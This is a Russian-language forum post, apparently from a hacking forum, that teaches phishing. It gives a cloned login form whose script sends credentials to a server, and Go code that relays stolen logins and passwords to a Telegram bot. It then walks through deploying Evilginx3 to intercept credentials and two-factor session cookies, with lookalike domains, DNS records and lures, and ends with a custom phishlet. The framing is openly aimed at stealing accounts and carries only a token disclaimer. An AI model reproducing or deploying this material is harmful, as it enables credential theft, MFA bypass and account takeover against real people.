Современные фишинговые атаки с использованием фреймворка Evilgnix

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: miserylord
Эксклюзивно для форума:
xss.is

Приветствую, любители цифровых приключений!
Статья посвящена созданию современных фишинговых сайтов с помощью инструмента Evilgnix: особенности атаки, развертывание и использование тулзы, написание собственных шаблонов для целевых сайтов (т.н. фишлеты).
Чем больше сила, тем больше и ответственность, как сказано в Библии. Другими словами, материал публикуется исключительно в ознакомительных целях!

Разделы
  • Фишинговая атака: терминология, устройство old fashion фишинга с отправкой данных в Telegram
  • Evilgnix: развертывание, настройка, запуск, атака, возможные ошибки
  • Phishlet: создание простого кастомного фишлета на практическом примере
Спойлер: Фишинговая атака
Фишинг — это вид атаки, в котором нападающий использует средства социальной инженерии для кражи данных цели. Он включает использование поддельных сайтов, писем и ресурсов, которые на первый взгляд выглядят как оригинальные.

Представьте, что есть сайт музыкального стриминга, и вместо того чтобы оплачивать подписку, вы создаете поддельный сайт-копию, отправляете ссылку своему другу, он заходит в аккаунт, а вы получаете его данные. У вас больше нет друга, у вас есть аккаунт на музыкальном сервисе. Это пример фишинговой атаки в действии.

Представьте, что у вас нет денег, и вы создаете копию банковского сайта. Вы остались одни и не можете больше писать никому, в таком случае вы принимаете решение просто отправлять электронные письма с ссылкой на поддельный банк всем подряд. Это называется рассылка фишинговых писем. Письма похожи на рыболовные удочки. В самом деле, термин «фишинг» происходит от английского слова «fishing» (рыбалка).

Я не раз слышал фразу: «человек — самое слабое звено в любой системе кибербезопасности». Читая разборы крупных атак на корпоративные инфраструктуры, можно заметить, что они часто начинаются с фишинга. Письмо отправляется «секретарше», и атака развивается дальше. Но все начинается с этого момента. В конце концов, мы действительно дети тех, кто убегал от всего, что похоже на тигра, а не тех, кто тратил время на детальный анализ зверя.

Классический фишинг

Классический фишинг сайта — это по сути просто копия с отправкой нужных данных в нужное место. Для создания копий сайта можно воспользоваться различными инструментами, например командой wget или программой HTTrack — они скачают зеркальную копию всего сайта или нужных страниц на компьютер.
После этого необходимо перехватить данные. Представим, что фишинг — это просто HTML-страница с формой для входа, где вводятся логин и пароль. Необходимо добавить JavaScript-код для отправки данных на сервер; код будет выглядеть примерно так:

HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Форма ввода</title>
</head>
<body>
    <h1>Форма ввода данных</h1>
    <form id="dataForm">
        <label for="name">Логин:</label>
        <input type="text" id="name" name="name" required><br><br>

        <label for="password">Пароль:</label>
        <textarea id="password" name="password" required></textarea><br><br>
        // 1
        <button type="button" onclick="submitData()">Войти</button>
    </form>

    <script>
       async function submitData() {
 // 2      
    const name = document.getElementById('name').value;
    const password = document.getElementById('password').value;
 // 3
    const payload = {
        name: name,
        password: password
    };
 // 4
    try {
        const response = await fetch('http://localhost:8080/send', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(payload)
        });

        if (response.ok) {
            alert('Данные успешно отправлены!');
        } else {
            alert('Ошибка при отправке данных.');
        }
    } catch (error) {
        console.error('Ошибка:', error);
        alert('Ошибка при отправке данных.');
    }
}

    </script>
</body>
</html>

  1. Кнопка вызывает функцию submitData() при нажатии, которая отправляет данные на сервер.
  2. В блоке кода JavaScript функция сначала получает значения, введенные в поля с id="name" и id="password".
  3. Создается объект с данными, которые будут отправлены на сервер.
  4. Отправляется асинхронный POST-запрос на сервер по указанному URL с заголовком Content-Type: application/json и телом запроса в формате JSON. Далее проверяется, был ли запрос успешным, и обрабатываются возможные ошибки.
Сервер будет принимать сообщения и отправлять их в диалог в Telegram через бота. Я буду использовать язык Golang. Бот будет работать без сторонних библиотек, используя Telegram API:

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "encoding/json"
    "fmt"
    "log"
    "net/http"
    "net/url"
)

const (
    telegramAPIURL = "https://api.telegram.org/botTOKEN/sendMessage" // 1
    chatID          = "1234567890"  // 2
)

// 3
type FormData struct {
    Name     string `json:"name"`
    Password string `json:"password"`
}

// 4
func sendMessageToTelegram(message string) error {
    msg := url.QueryEscape(message)
    fullURL := fmt.Sprintf("%s?chat_id=%s&text=%s", telegramAPIURL, chatID, msg)

    resp, err := http.Get(fullURL)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return fmt.Errorf("failed to send message, status code: %d", resp.StatusCode)
    }
    return nil
}

// 5
func handler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Access-Control-Allow-Origin", "*")
    w.Header().Set("Access-Control-Allow-Methods", "POST")
    w.Header().Set("Access-Control-Allow-Headers", "Content-Type")

    if r.Method != http.MethodPost {
        http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
        return
    }

    var data FormData
    err := json.NewDecoder(r.Body).Decode(&data)
    if err != nil {
        http.Error(w, "Invalid request payload", http.StatusBadRequest)
        return
    }

    message := fmt.Sprintf("Логин: %s\nПароль: %s", data.Name, data.Password)
    err = sendMessageToTelegram(message)
    if err != nil {
        http.Error(w, "Failed to send message", http.StatusInternalServerError)
        return
    }

    w.WriteHeader(http.StatusOK)
    fmt.Fprintln(w, "Data successfully sent!")
}

// 6
func main() {
    http.HandleFunc("/send", handler)
    log.Fatal(http.ListenAndServe(":8080", nil))
}

  1. URL для отправки сообщений в Telegram с помощью бота. Чтобы получить токен, напишите BotFather и следуйте инструкциям. Замените TOKEN в коде на полученный токен.
  2. chatID содержит идентификатор чата в Telegram, куда будут отправляться сообщения. Чтобы узнать его, отправьте любое сообщение созданному боту и перейдите по ссылке api.telegram.org/botTOKEN/getUpdates, заменив токен. Необходимый параметр — id в блоке chat.
  3. Структура для хранения данных, получаемых из запроса. JSON-метки указывают на то, как поля будут называться в JSON.
  4. Функция отправки сообщения в Telegram. message — строка, содержащая сообщение для отправки. Кодирует сообщение для безопасной передачи в URL, формирует ссылку и отправляет GET-запрос к API. Проверяет статус-код ответа. Если он не 200 OK, возвращается ошибка.
  5. HTTP-обработчик запросов. Устанавливает заголовки для обработки CORS, позволяя запросы из других доменов. Если метод запроса не POST, сервер возвращает ошибку с кодом 405. Декодирует JSON из тела запроса в структуру FormData. Формирует сообщение и отправляет его в Telegram через sendMessageToTelegram. Обрабатывает результат.
  6. Основная функция связывает путь /send с функцией handler, которая будет обрабатывать запросы на этот путь, и запускает HTTP-сервер на порту 8080.

Запускаем бота, вводим данные в форму и видим сообщение с логином и паролем.

На самом деле для кражи аккаунта эффективнее использовать куки-файлы вместо (или вместе) с данными для авторизации. Предоставив чужие куки-файлы, вы сможете увидеть страницу так, как ее видит владелец, без необходимости ввода данных.

Главный минус такого фишинга заключается в том, что очень сложно организовать перехват второго фактора. Мы можем получить логин и пароль, отобразить страницу с СМС после входа, но чтобы попасть в аккаунт, нужно будет в реальном времени мониторить активность пользователя. К тому же, сайты могут изменить свой внешний вид, и чтобы не вызвать подозрений, придется переделывать копию заново.

Решение этих проблем — Evilgnix.

Спойлер: Evilgnix
Что это такое?

Evilginx — это мощный инструмент для создания фишинговых сайтов, которые имитируют настоящие веб-ресурсы в реальном времени. Его основная особенность заключается в том, что он использует метод MiTM (Man-in-the-Middle) атаки, чтобы перехватывать и, при необходимости, изменять коммуникацию между двумя сторонами, не подозревающими о его присутствии.

Evilginx функционирует как реверс-прокси-сервер. Когда пользователь пытается войти на фишинговый сайт, Evilginx перенаправляет его запросы на настоящий целевой веб-сайт. В результате пользователь взаимодействует непосредственно с реальным сайтом, но все запросы и ответы проходят через Evilginx. В процессе этого Evilginx перехватывает и сохраняет учетные данные пользователя, а также любые токены двухфакторной аутентификации, которые вводятся на фишинг странице. Эти данные затем передаются на настоящий сервер, а Evilginx захватывает ответ от целевого сайта.

Такой механизм работы делает обнаружение атаки значительно сложнее, поскольку внешне взаимодействие происходит напрямую с настоящим сайтом.

На момент написания этой статьи актуальной версией является Evilginx3. Репозиторий с инструментом доступен на GitHub: Evilginx3.

Evilginx3: Настройка и Практическое Использование

Для начала работы с Evilginx3 вам потребуется VPS (виртуальный частный сервер). Большинство крупных провайдеров предлагают кредиты на сумму нескольких сотен долларов для тестирования проектов на своих мощностях, обычно на срок до одного месяца (например, DigitalOcean, Microsoft Azure, Google и другие). Обратите внимание, что VPS может называться по-разному: на DigitalOcean — Droplet, на Azure — Virtual Machines. Для начального этапа подойдут любые характеристики, однако для практического использования можно увеличить ресурсы, если это необходимо. В целом, Evilginx3 не требует значительных ресурсов, особенно если вы работаете с одним таргетом. Установите на VPS образ Ubuntu Server LTS последней версии (на момент написания статьи — 24). VPS будет выступать в роли C2 сервера (команда и контроль).

Кроме VPS вам понадобится доменное имя. Выбирайте домен, максимально похожий на оригинальный сайт. Домен для фишингового сайта можно приобрести за $2-10 в год (если это не самый популярный ресурс). Домен можно купить, например, на NameCheap, GoDaddy или любом другом сервисе. Существуют также сайты, предлагающие бесплатные домены, такие как Freenom. Будьте внимательны к настройкам whois: некоторые сервисы предлагают скрыть эти данные, другие нет. С помощью whois могут быть раскрыты ваше имя и номер телефона, указанные при регистрации.

Для доступа к VPS используйте SSH. В зависимости от сервиса, вам предложат открыть доступ еще на этапе создания. Вы можете подключиться к SSH как с помощью логина и пароля, так и с помощью ключей. Второй вариант предпочтителен, но если вы не знакомы с ним, используйте первый.

После подключения к VPS с помощью SSH, выполните команду sudo apt update && sudo apt upgrade, чтобы обновить список доступных пакетов и установить их обновления.

Затем установите необходимые пакеты: golang, так как программы написаны на нем, а также git, make и gcc, командой sudo apt install golang git make gcc.

Клонируйте официальный репозиторий с программой командой git clone https://github.com/kgretzky/evilginx2, перейдите в папку с проектом командой cd evilginx2/ и выполните команду make, чтобы собрать проект.

Важно: Для работы программы необходимо открыть порты 443 (TCP) и 53 (UDP) в фаерволе. Сделайте это через панель администратора VPS-сервиса. На Azure это вкладка Network settings, где нужно добавить Inbound port rules. Если возникают проблемы с фаерволом, откройте порты через терминал командой sudo ufw allow [portNumber] [udp or tcp]. По умолчанию фаервол закроет все порты, кроме 22 (SSH).

Для запуска используйте команду sudo ./build/evilginx -p phishlets/ (запускаем билд версию и указываем аргумент -p, который указывает на папку с фишлетами).

Screenshot_5.png



Фишлеты в контексте Evilginx — это конфигурационные файлы, определяющие внешний вид фишинговой страницы, данные, которые нужно собирать, и взаимодействие с таргетом. Фишлеты написаны в формате YAML, который схож (выступает суперсетом) с JSON (будьте внимательны, YAML — регистрозависимый формат!). Примеры фишлетов можно найти на GitHub, например, в этом репозитории: GitHub - An0nUD4Y/Evilginx2-Phishlets: Evilginx3 Phishlets version Only For Testing/Learning Purposes (там также есть админ панель для проекта). Мы будем использовать фишлет, предоставленный разработчиками проекта, который находится в каталоге phishlets под названием example.yaml.

Возвращаемся к домену. Чтобы продолжить, зайдите на сайт регистратора и добавьте A-записи (Address Records). Эти записи связывают доменное имя с IP-адресом. IP-адрес можно найти в панели администратора VPS, он будет называться Public IP address. Пропишите A-записи, заменяя существующие на IP-адрес VPS, и добавьте поддомены (название A-записи — это поддомен, IP тот же). Поддомены берутся из фишлета (все phish_sub из proxy_hosts, если их 10, добавьте 10). Сохраните изменения и дождитесь их применения (до 72 часов, но часто все готово в течение часа). Для проверки A-записей используйте команду dig A www.domenName.com.
Screenshot_1.png



Также для корректной работы необходимо добавить домен в Turnstile Site Cloudflare. В папке redirectors найдите файл index.html, где указана инструкция по добавлению домена в Turnstile. Добавьте домен на сайте https://www.cloudflare.com/products/turnstile/ и получите API ключ sitekey. Этот шаг никогда не был упомянут в инструкциях, но он помог мне исправить ошибку, из-за которой малишис-линки перенаправлялись на видео "Rick Astley - Never Gonna Give You Up". Если после добавления ключа ошибка сохраняется, пересоберите билд версию программы.

Запускаем Evilginx, вводим следующие команды:
  • config domain domain.com — устанавливаем свой домен в файл конфигурации.
  • phishlets hostname example domain.com — связываем домен с фишлетом.
  • config ipv4 1.1.1.1 — добавляем IP-адрес (публичный IP-адрес VPS, который мы использовали для A-записей домена).
  • phishlets enable example — включаем фишлет.

Теперь создаем т.н. лурасы (фишинговые страницы). Команда lures create example создаст лурас и вернет ID. Чтобы получить ссылку, используйте lures get-url 0[luras number]. Перейдите по ссылке и вы увидите фишинговую страницу оригинального сайта. Если вы войдете по логину и паролю, в терминале будет видно, что Evilginx перехватывает нужные данные.

Для получения данных используйте команду sessions, добавляя ID после нее. Для подставки куки в браузере используйте расширение типа Cookie-Editor.

Помимо ошибок с Cloudflare, вы можете столкнуться с другими проблемами:

  • Ошибки с сертификатами: Проверьте фаервол. Установите sudo apt install certbot. Сертификаты должны устанавливаться автоматически, но также можно попробовать перенести сертификат командой sudo cp ca.crt /etc/ssl/certs/ca.crt (из папки .evilginx crt, где находится сертификат).
  • Ошибка Failed to start nameserver on port 53: Это означает, что другой сервис использует порт 53, мешая Evilginx. Перенесите сервис, работающий на порту 53, на другой порт, либо измените порт dns_port в конфигурации и сделайте новый билд (это не всегда срабатывает). В моем случае помог странный костыль: выключаем sudo systemctl stop systemd-resolved, добавляем фишлет, получаем ошибку при включении, выходим, делаем sudo reboot, возвращаемся и формируем лурас — все работает корректно.

Изучите Issues · kgretzky/evilginx2 · GitHub или создайте новый запрос, возможно, вам помогут (или предложат купить курс за 400 долларов).

Спойлер: Phishlet
Написание фишлета

Для вдохновения вы можете изучить доступные фишлеты на GitHub, хотя многие из них могут не работать. В этом примере я буду использовать собственный сайт. Документацию по созданию фишлетов в нужном формате можно найти на официальном сайте Evilginx.

Страница login.html

HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f4f4f4;
        }
        .login-container {
            background-color: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .login-container h1 {
            margin-top: 0;
            font-size: 24px;
        }
        .login-container label {
            display: block;
            margin-bottom: 8px;
        }
        .login-container input {
            width: 100%;
            padding: 8px;
            margin-bottom: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        .login-container button {
            width: 100%;
            padding: 10px;
            background-color: #007bff;
            border: none;
            border-radius: 4px;
            color: white;
            font-size: 16px;
            cursor: pointer;
        }
        .login-container button:hover {
            background-color: #0056b3;
        }
        .login-container .error {
            color: red;
            margin-bottom: 12px;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <h1>Login</h1>
        <form method="POST" action="/login">
            <div class="error">
            </div>
            <label for="username">Username</label>
            <input type="text" id="username" name="username" required>

            <label for="password">Password</label>
            <input type="password" id="password" name="password" required>

            <button type="submit">Login</button>
        </form>
    </div>
</body>
</html>

Код сервера будет написан на Go с использованием базы данных SQLite и сессиями.
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "database/sql"
    "fmt"
    "net/http"
    "time"

    // 1
    "github.com/gorilla/sessions"
    _ "github.com/mattn/go-sqlite3"
)

// 2
var (
    store = sessions.NewCookieStore([]byte("secret-key"))
    db    *sql.DB
)

// 3
func main() {
    var err error
    db, err = sql.Open("sqlite3", "database.db")
    if err != nil {
        panic(err)
    }
    defer db.Close()

    initializeDatabase()

    http.HandleFunc("/login", loginHandler)
    http.HandleFunc("/dashboard", dashboardHandler)
    http.HandleFunc("/logout", logoutHandler)

    http.ListenAndServe(":8080", nil)
}

// 4
func initializeDatabase() {
    _, err := db.Exec(`
        CREATE TABLE IF NOT EXISTS users (
            username TEXT PRIMARY KEY,
            password TEXT NOT NULL
        );
        CREATE TABLE IF NOT EXISTS sessions (
            session_id TEXT PRIMARY KEY,
            username TEXT NOT NULL,
            session_token TEXT NOT NULL
        );
    `)
    if err != nil {
        panic(err)
    }

    var count int
    err = db.QueryRow("SELECT COUNT(*) FROM users WHERE username = 'admin'").Scan(&count)
    if err != nil {
        panic(err)
    }

    if count == 0 {
        _, err = db.Exec("INSERT INTO users (username, password) VALUES (?, ?)", "admin", "admin")
        if err != nil {
            panic(err)
        }
        fmt.Println("Default user 'admin' created")
    }
}

// 5
func loginHandler(w http.ResponseWriter, r *http.Request) {
    session, _ := store.Get(r, "session")

    if session.Values["username"] != nil {
        http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
        return
    }

    if r.Method == http.MethodPost {
        username := r.FormValue("username")
        password := r.FormValue("password")

        var dbPassword string
        err := db.QueryRow("SELECT password FROM users WHERE username = ?", username).Scan(&dbPassword)
        if err != nil || dbPassword != password {
            http.Error(w, "Invalid username or password", http.StatusUnauthorized)
            return
        }

        session.Values["username"] = username
        session.Save(r, w)

        sessionToken := fmt.Sprintf("%d%s", time.Now().Unix(), "cookie")
        _, err = db.Exec("INSERT INTO sessions (session_id, username, session_token) VALUES (?, ?, ?)", sessionToken, username, sessionToken)
        if err != nil {
            http.Error(w, "Database error", http.StatusInternalServerError)
            return
        }

        http.SetCookie(w, &http.Cookie{
            Name:    "session_token",
            Value:   sessionToken,
            Expires: time.Now().Add(1 * time.Hour),
            Path:    "/",
        })

        http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
        return
    }

    http.ServeFile(w, r, "login.html")
}

// 6
func dashboardHandler(w http.ResponseWriter, r *http.Request) {
    session, _ := store.Get(r, "session")
    if session.Values["username"] == nil {
        http.Redirect(w, r, "/login", http.StatusSeeOther)
        return
    }

    cookie, err := r.Cookie("session_token")
    if err != nil {
        http.Redirect(w, r, "/login", http.StatusSeeOther)
        return
    }

    sessionToken := cookie.Value
    var username string
    err = db.QueryRow("SELECT username FROM sessions WHERE session_token = ?", sessionToken).Scan(&username)
    if err != nil {
        http.Redirect(w, r, "/login", http.StatusSeeOther)
        return
    }

    w.Header().Set("Content-Type", "text/html")
    fmt.Fprintf(w, "<h2>Welcome %s</h2><br>", username)
    fmt.Fprintf(w, "<h3>Token %s</h3><br>", sessionToken)
    fmt.Fprintln(w, `<a href="/logout">Logout</a>`)
}

// 7
func logoutHandler(w http.ResponseWriter, r *http.Request) {
    session, _ := store.Get(r, "session")
    session.Values["username"] = nil
    session.Save(r, w)

    cookie, err := r.Cookie("session_token")
    if err == nil {
        sessionToken := cookie.Value
        db.Exec("DELETE FROM sessions WHERE session_token = ?", sessionToken)
    }

    http.SetCookie(w, &http.Cookie{
        Name:   "session_token",
        Value:  "",
        MaxAge: -1,
        Path:   "/",
    })

    http.Redirect(w, r, "/login", http.StatusSeeOther)
}

  1. Импортируем необходимые библиотеки: gorilla/sessions для управления сессиями и mattn/go-sqlite3 для работы с SQLite.
  2. Создаем хранилище для сессий (store), которое использует секретный ключ для подписи cookies, и соединение с базой данных (db).
  3. В функции main открываем соединение с базой данных, создаем начальные записи с помощью initializeDatabase, регистрируем обработчики маршрутов и запускаем HTTP-сервер на порту 8080.
  4. Создаем таблицы users и sessions, если их нет. Проверяем наличие пользователя admin. Если его нет, создаем его с паролем admin.
  5. Если пользователь уже авторизован, перенаправляем его на /dashboard. При запросе POST проверяем имя пользователя и пароль. Если данные верны, создаем сессию, сохраняем токен в базе данных и cookies. В противном случае возвращаем ошибку.
  6. Проверяем, что пользователь авторизован. Если нет, перенаправляем на /login. Проверяем наличие cookie с токеном сессии. Если токен верен, отображаем приветственное сообщение и токен сессии.
  7. Завершаем сессию, удаляя имя пользователя из сессии и токен из базы данных, и перенаправляем пользователя на страницу входа.

Для использования режима разработчика добавьте флаг -developer к команде evilginx, установите любой домен и настройте локальный IP-адрес (127.0.0.1).

Не забывайте, что YAML чувствителен к регистру и отступам. Каждый символ и отступ должны быть строго в нужном формате.

Пример фишлета
YAML: Скопировать в буфер обмена
Код:
# 1
min_ver: '3.0.0'
# 2
proxy_hosts:
  - {phish_sub: '', orig_sub: '', domain: 'target.com', session: true, is_landing: true}
# 3
sub_filters:
  - {triggers_on: 'target.com', orig_sub: '', domain: 'target.com', search: 'https://{hostname}/login', replace: 'https://{hostname}/login', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}
# 4
auth_tokens:
  - domain: 'target.com'
    keys: ['session_token']
# 5
credentials:
  username:
    key: 'username'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
# 6
auth_urls:
  - '/dashboard'
# 7
login:
  domain: 'target.com'
  path: '/login'
```

1. Указываем минимальную версию Evilginx, необходимую для работы с данной конфигурацией.
2. Настройка прокси-серверов для перехвата и манипулирования запросами:
  • phish_sub: Пустое значение, так как поддоменов нет.
  • orig_sub: Пустое значение, так как поддоменов нет.
  • domain: Домен целевого сайта.
  • is_landing: Установлено в true, так как это страница входа.
  • session: true указывает на поддержку сессий.
3. Фильтры для замены контента:
  • triggers_on и domain: Таргет-домен.
  • orig_sub: Пустое значение, поскольку поддоменов нет.
  • search и replace: URL-шаблоны для поиска и замены (в данном случае они одинаковы, что означает отсутствие изменений в URL).
  • mimes: Мим-типы, на которые будут применяться фильтры.
  • redirect_only: Указывает, что фильтр применяется только для перенаправлений.
4. Токены авторизации:
  • domain: Домен, на котором будет перехватываться токен.
  • keys: Список ключей для перехвата (здесь это 'session_token').
5. Перехват учетных данных:
  • key: Имя поля формы с учетными данными.
  • search: Регулярное выражение для захвата значения.
  • type: Тип HTTP-запроса (например, 'post', что означает, что данные берутся из POST-запроса).
6. URL для перенаправления после успешной авторизации.
7. Конфигурация для страницы входа:
  • Домен для страницы входа.
  • Путь к странице входа.

В целом, написание фишлетов не представляет особой сложности, хотя в дикой среде могут возникнуть некоторые трудности. Это, возможно, первая статья из цикла. Трям! Пока!
 
Сверху Снизу